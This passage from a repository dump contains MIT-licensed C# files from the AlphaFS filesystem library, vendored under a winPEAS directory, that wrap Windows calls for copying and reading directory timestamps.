/// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The transaction. /// The path to test. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool ExistsJunctionTransacted(KernelTransaction transaction, string junctionPath, PathFormat pathFormat) { return ExistsJunctionCore(transaction, null, junctionPath, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.CopyTimestamps.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region Obsolete /// [AlphaFS] Copies the date and timestamps for the specified directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. [Obsolete("Use new method name: CopyTimestamp")] [SecurityCritical] public static void TransferTimestamps(string sourcePath, string destinationPath) { CopyTimestamps(sourcePath, destinationPath); } /// [AlphaFS] Copies the date and timestamps for the specified directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// Indicates the format of the path parameter(s). [Obsolete("Use new method name: CopyTimestamp")] [SecurityCritical] public static void TransferTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat) { CopyTimestamps(sourcePath, destinationPath, pathFormat); } /// [AlphaFS] Copies the date and timestamps for the specified directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// The transaction. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. [Obsolete("Use new method name: CopyTimestampsTransacted")] [SecurityCritical] public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { CopyTimestampsTransacted(transaction, sourcePath, destinationPath, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// The transaction. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// Indicates the format of the path parameter(s). [Obsolete("Use new method name: CopyTimestampsTransacted")] [SecurityCritical] public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { CopyTimestampsTransacted(transaction, sourcePath, destinationPath, pathFormat); } #endregion // Obsolete /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath) { File.CopyTimestampsCore(null, true, sourcePath, destinationPath, false, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat) { File.CopyTimestampsCore(null, true, sourcePath, destinationPath, false, pathFormat); } /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint) { File.CopyTimestampsCore(null, true, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat) { File.CopyTimestampsCore(null, true, sourcePath, destinationPath, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.CopyTimestampsTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The transaction. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, false, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The transaction. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, false, pathFormat); } /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The transaction. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint) { File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Copies the date and timestamps for the specified existing directories. /// This method uses BackupSemantics flag to get Timestamp changed for directories. /// /// /// /// The transaction. /// The source directory to get the date and time stamps from. /// The destination directory to set the date and time stamps. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat) { File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the change date and time of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in local time. /// The directory for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetChangeTime(string path) { return File.GetChangeTimeCore(null, null, true, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in local time. /// The directory for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTime(string path, PathFormat pathFormat) { return File.GetChangeTimeCore(null, null, true, path, false, pathFormat); } /// [AlphaFS] Gets the change date and time of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in local time. /// An open handle to the directory from which to retrieve information. [SecurityCritical] public static DateTime GetChangeTime(SafeFileHandle safeFileHandle) { return File.GetChangeTimeCore(null, safeFileHandle, true, null, true, PathFormat.RelativePath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the change date and time of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in local time. /// The transaction. /// The directory for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path) { return File.GetChangeTimeCore(transaction, null, true, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in local time. /// The transaction. /// The directory for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetChangeTimeCore(transaction, null, true, path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in UTC time. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetChangeTimeUtc(string path) { return File.GetChangeTimeCore(null, null, true, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in UTC time. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTimeUtc(string path, PathFormat pathFormat) { return File.GetChangeTimeCore(null, null, true, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in UTC time. /// The transaction. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path) { return File.GetChangeTimeCore(transaction, null, true, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the change date and time for the specified directory. This value is expressed in UTC time. /// The transaction. /// The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetChangeTimeCore(transaction, null, true, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Gets the creation date and time of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in local time. /// The directory for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetCreationTime(string path) { return File.GetCreationTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime(); } #endregion // .NET /// [AlphaFS] Gets the creation date and time of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in local time. /// The directory for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTime(string path, PathFormat pathFormat) { return File.GetCreationTimeCore(null, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the creation date and time of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in local time. /// The transaction. /// The directory for which to obtain creation date and time information. [SecurityCritical] public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path) { return File.GetCreationTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the creation date and time of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in local time. /// The transaction. /// The directory for which to obtain creation date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetCreationTimeCore(transaction, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in UTC time. /// The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetCreationTimeUtc(string path) { return File.GetCreationTimeCore(null, path, true, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in UTC time. /// The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTimeUtc(string path, PathFormat pathFormat) { return File.GetCreationTimeCore(null, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in UTC time. /// The transaction. /// The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. [SecurityCritical] public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path) { return File.GetCreationTimeCore(transaction, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified directory. /// A structure set to the creation date and time for the specified directory. This value is expressed in UTC time. /// The transaction. /// The directory for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetCreationTimeCore(transaction, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Gets the date and time that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The directory for which to obtain access date and time information. [SecurityCritical] public static DateTime GetLastAccessTime(string path) { return File.GetLastAccessTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime(); } #endregion // .NET /// [AlphaFS] Gets the date and time that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The directory for which to obtain access date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastAccessTime(string path, PathFormat pathFormat) { return File.GetLastAccessTimeCore(null, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the date and time that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The transaction. /// The directory for which to obtain access date and time information. [SecurityCritical] public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path) { return File.GetLastAccessTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the date and time that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The transaction. /// The directory for which to obtain access date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetLastAccessTimeCore(transaction, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS 